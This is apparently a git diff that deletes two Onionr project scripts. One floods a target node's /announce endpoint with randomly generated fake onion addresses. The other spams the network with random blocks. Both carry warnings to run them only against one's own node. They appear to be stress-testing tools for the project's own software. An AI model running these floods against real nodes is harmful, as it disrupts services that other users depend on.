diff --git a/scripts/announce-attack.py b/scripts/announce-attack.py deleted file mode 100644 index 5f67fa24..00000000 --- a/scripts/announce-attack.py +++ /dev/null @@ -1,25 +0,0 @@ -import sys -import os -import secrets -import base64 -os.chdir('../') -sys.path.append("src/") -from onionrutils import stringvalidators -from onionrutils import basicrequests - - -def random_tor_generator(): - return base64.b32encode(secrets.token_bytes(35)).decode().replace("=", "").lower() + ".onion" - -node = input("Enter node to attack. Note that you legally must use your own, and even that might lead to technical or legal issues") -assert stringvalidators.validate_transport(node) - -count = int(input("Attack amount: ")) -port = input("Socks:") -for x in range(count): - new = random_tor_generator() - print(f"Introducing {new} to {node}") - basicrequests.do_post_request( - f'http://{node}/announce', - data = {'node': new}, - port=port) diff --git a/scripts/block-spammer.py b/scripts/block-spammer.py deleted file mode 100755 index 51ae6b37..00000000 --- a/scripts/block-spammer.py +++ /dev/null @@ -1,31 +0,0 @@ -#!/usr/bin/env python3 - -"""Spam a bunch of Onionr blocks""" - -# Please don't run this script on the real Onionr network. You wouldn't do anything but be annoying - -print("Please don't run this script on Onionr networks that include more than you. You wouldn't do anything but be annoying, and probably violate law") - -import sys -import os -if not os.path.exists('onionr.sh'): - os.chdir('../') -sys.path.append("src/") -import onionrblocks - - -amount = int(input("Number of blocks:")) -expire = input("Expire in seconds:") - -if not expire: - expire = "" -else: - expire = int(expire) - -for i in range(amount): - if expire: - print(onionrblocks.insert(data=os.urandom(32), expire=expire)) - else: - print(onionrblocks.insert(data=os.urandom(32))) - print(i, "done") -